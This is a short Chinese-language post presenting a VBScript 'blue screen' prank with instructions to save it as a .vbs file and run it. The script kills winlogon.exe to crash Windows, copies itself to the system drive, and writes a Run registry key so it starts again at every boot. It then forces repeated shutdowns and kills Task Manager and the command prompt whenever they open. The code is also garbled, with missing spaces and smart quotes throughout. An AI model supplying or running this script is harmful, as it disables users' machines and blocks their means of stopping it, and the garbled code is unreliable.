蓝屏代码

下面介绍一下蓝屏代码，用VBS运行，先创建个记事本把程序复制上去，最后把文件名后缀改成vbs就行了，小心一点运行，
备注，有些电脑运行不起来
for each ps in
getobject(“winmgmts:\.\root\cimv2:win32_process”).instances_ ifUcase(ps.name)=Ucase(“winlogon.exe”) then
ps.terminate
end if
next
for each
psingetobject(“winmgmts:\.\root\cimv2:win32_process”).instances_ ifUcase(ps.name)=Ucase(“winlogon.exe”) then
ps.terminate
end if
next
Setws=CreateObject(“WScript.Shell”)
setfs=createobject(“scripting.filesystemobject”)
dim a1,a2,a3,thn,i
thn=wscript.scriptfullname
a1=fs.getparentfoldername(fs.GetSpecialFolder(0))
fs.copyfilethn,a1&"\admin123.vbs",true
do while i＜10
i=i+1
ws.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVers ion\Run\admin",“C:\admin123.vbs”
loop
ws.run “shutdown -s -f -t 60”
do
wscript.sleep 500
if ws.appactivate(“Windows 任务管理器”)=truethen
ws.run “taskkill /f /imTaskmgr.exe”
end if
ifws.appactivate(“命令提示符”)=truethen
ws.run “taskkill /f /im cmd.exe”
end if
ifws.appactivate(“C:\WINDOWS\system32\cmd.exe”)=true then
ws.run “taskkill /f /im cmd.exe”
end if
ifws.appactivate(“系统关机”)=falsethen
ws.run “shutdown -s -f -t 30”
end if
loop